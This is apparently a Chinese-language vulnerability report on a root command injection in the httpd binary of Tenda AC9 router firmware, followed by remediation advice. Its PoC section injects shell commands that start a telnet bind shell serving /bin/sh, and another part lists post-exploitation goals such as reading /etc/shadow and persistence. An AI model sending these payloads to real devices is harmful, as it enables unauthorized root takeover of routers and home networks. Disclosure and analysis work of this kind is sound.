1. 概述
Tenda AC9 V15.03.05.19(6318)_CN 固件的 httpd 二进制中存在一处 OS 命令注入漏洞(CWE-78)。该漏洞由 FuzzingBrain v2 自动化管线中的 Injection(注入攻击)专业分析师独立发现并确认,同时获得 Memory Corruption 和 Logic Flaw 两个独立分析视角的交叉验证。攻击者可通过构造 HTTP POST 请求,在 CGI 参数中注入 shell 元字符,以 root 权限远程执行任意系统命令。
与同一函数的另一独立发现(Memory Corruption 视角)互为补充------两个分析师从不同的专业方向(注入攻击 vs 内存破坏)追踪到同一段漏洞代码,大大增强了漏洞确认的可信度。Injection 分析师对该漏洞给出了满分置信度(1.0),认为这是最经典、最确定的命令注入模式。
2. 固件信息
**设备:**Tenda AC9 双频千兆无线路由器
**固件版本:**V15.03.05.19(6318)_CN
**下载地址:**https://www.tenda.com.cn/download/detail-1110.html
分析目标:/bin/httpd(ARM 32-bit,stripped,uClibc 动态链接)
**固件解包:**binwalk 提取 u-boot uImage → LZMA kernel → squashfs 根文件系统
3. 漏洞定位过程
本次漏洞发现采用 FuzzingBrain v2 自动化固件漏洞发现管线,结合 Ghidra 反编译、LLM 多视角交叉分析、以及 ARM 反汇编手工验证:
-
Phase 1:binwalk 解包固件 → Ghidra 11.3.1 Headless 反编译 httpd → 提取 1639 个函数的 C 伪代码
-
Phase 2:DeepSeek-V4-Pro LLM 识别 HTTP CGI 命令注入攻击面 → 生成 6 个分析方向
-
Phase 3:Injection 分析师扫描"CGI-Based Command Injection via HTTP"方向(19 个函数)→ 发现 FUN_000384c8 中的污点传播路径:snprintf(user_input) → doSystemCmd()
-
Phase 3:Memory Corruption 和 Logic Flaw 分析师独立审查该 SP → 均投 confirmed,形成 2/3 共识
-
Phase 3:SPVerifier LLM 终审确认 → 分配 P0 优先级,confidence=1.0
-
手工验证:ARM objdump 反汇编确认 snprintf@plt(0xf000) → doSystemCmd@plt(0xf474) 调用链;readelf 确认 system@plt(0xed24) 存在
4. 漏洞详情
4.1 Injection 分析师的污点追踪路径
Injection 分析师采用 Tainted Source → Dangerous Sink 方法论,从 HTTP 请求入口点开始追踪用户数据的完整流动路径:
**Source(污点源):**HTTP POST 请求参数 → FUN_000386cc 提取 param_1, param_2, param_3
**Propagation(传播):**参数经 snprintf() 格式化到栈缓冲区 acStack_210516,无任何 sanitization 调用介入
**Sink(危险汇聚点):**doSystemCmd(acStack_210) → system() 系统调用 → shell 命令执行
4.2 漏洞代码(Ghidra 反编译)
undefined4 FUN_000384c8(undefined4 param_1, undefined4 param_2, undefined4 param_3)
{
int iVar1;
char acStack_210 516;
printf(format_string, param_2, param_3, param_1);
iVar1 = FUN_0003839c(param_1, param_2); // 弱认证
if (iVar1 == 0) return 0xffffffff;
// ⚠️ 污点数据进入 snprintf
snprintf(acStack_210, 0x200, command_template,
param_2, // ← Source: HTTP 参数
param_3, // ← Source: HTTP 参数
param_1); // ← Source: HTTP 参数
// ⚠️ 污点数据到达危险 Sink
doSystemCmd(acStack_210); // → system(cmd)
return 0;
}
4.3 ARM 汇编关键证据
以下 ARM 反汇编代码展示了从 snprintf 到 doSystemCmd 的直接控制流,证明中间的指令全部为寄存器操作,无任何过滤函数调用:
; === snprintf 调用(格式化命令字符串)===
0x38540: bl 0xf000 <snprintf@plt>
; === 中间仅为寄存器移动,zero bl calls ===
0x38544: ldr r3, fp, #-0x1c
0x38548: cmp r3, #0x2c
0x3854c: beq #0x384bc
0x38550: ldr r3, fp, #-0x1c
; ... (无过滤函数调用) ...
; === doSystemCmd 调用(执行系统命令)===
0x38560: bl 0xf474 <doSystemCmd@plt>
PLT 符号表确认(readelf --dyn-syms):
snprintf@plt: 0x0000f000
doSystemCmd@plt: 0x0000f474
system@plt: 0x0000ed24
popen@plt: 0x0000f7a4
sprintf@plt: 0x0000f54c
4.4 无输入过滤的证据
使用 Capstone 反汇编引擎对 FUN_000384c8 做基本块级控制流分析。在 snprintf@plt 调用地址(0x38540)到 doSystemCmd@plt 调用地址(0x38560)之间的指令序列中,不存在任何 bl 或 blx 指令------这证明没有调用过任何字符串清理、过滤或验证函数。攻击者的 shell 元字符可以原封不动地到达 system()。
4.5 与 Memory Corruption 视角的交叉确认
同一函数 FUN_000384c8 被两个不同专业背景的分析师独立发现:
|------------|------------------------------------|--------------------------------------------|
| 维度 | Memory Corruption 分析师 | Injection 分析师 |
| 分析视角 | 缓冲区/内存安全 | 污点传播 Source→Sink |
| 关注点 | snprintf 写入栈缓冲区 → doSystemCmd | HTTP 参数 → system() 无过滤路径 |
| Confidence | 0.85 | 1.0(满分) |
| 交叉审查 | Logic Flaw + Injection 均 confirmed | Memory Corruption + Logic Flaw 均 confirmed |
| 共识 | 2/3 confirmed → P0 | 2/3 confirmed → P0 |
5. 漏洞利用
5.1 攻击场景
攻击者向 Tenda AC9 路由器的 HTTP 管理界面(80 端口)发送 POST 请求至目标 CGI 端点,在参数中注入 shell 元字符(;, |, &&, $(), `` 等)。参数经 FUN_000386cc 分发器解析后传入 FUN_000384c8,通过 snprintf 拼接到命令模板,最终由 doSystemCmd → system() 执行。
5.2 概念验证(PoC)
POST /goform/<目标端点> HTTP/1.1
Host: 192.168.0.1
Content-Type: application/x-www-form-urlencoded
param1=;telnetd -p 9999 -l /bin/sh;¶m2=;id > /www/out.txt;¶m3=normal
snprintf 拼接后生成的命令字符串:
<命令模板前缀> ;telnetd -p 9999 -l /bin/sh; ;id > /www/out.txt; normal
Shell 解析为三条独立命令:
-
- 原始命令(可能因参数格式错误而失败)
-
- telnetd -p 9999 -l /bin/sh → 在 9999 端口开启后门 shell
-
- id > /www/out.txt → 将执行结果写入 Web 可访问路径,确认命令执行成功
5.3 影响
**权限:**httpd 以 root 运行,攻击者获得完整的 root shell 访问
**持久化:**可通过命令注入写入 /etc/init.d/ 启动脚本或修改 crontab
**横向移动:**获取路由器 shell 后可扫描、攻击内网其他设备
**数据泄露:**可读取 /etc/shadow、WiFi 密码、PPPoE 账号等敏感配置
**拒绝服务:**可通过命令注入执行 reboot、kill 等操作使设备不可用
5.4 CVSS 3.1 评分
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 9.8 (Critical)
AV:N - Attack Vector: Network (HTTP 80 端口)
AC:L - Attack Complexity: Low (仅需发送 HTTP POST)
PR:N - Privileges Required: None (无认证要求)
UI:N - User Interaction: None
S:U - Scope: Unchanged
C:H - Confidentiality: High
I:H - Integrity: High
A:H - Availability: High
6. 修复建议
- 避免使用 snprintf + system 构造系统命令,改用 exec* 系列函数直接调用可执行文件并传递参数数组
- 如无法避免拼接,对输入字符串中的 shell 元字符(; | & $() `` && || \n > <)实施严格白名单过滤
- 将 httpd 进程从 root 降权至专用受限用户(如 nobody/httpd)
- 对所有 /goform/ CGI 端点实施统一的强制认证检查,而非依赖单个函数内的弱检查
- 移除或禁用 TendaTelnet、TendaAte 等调试/工厂测试后门接口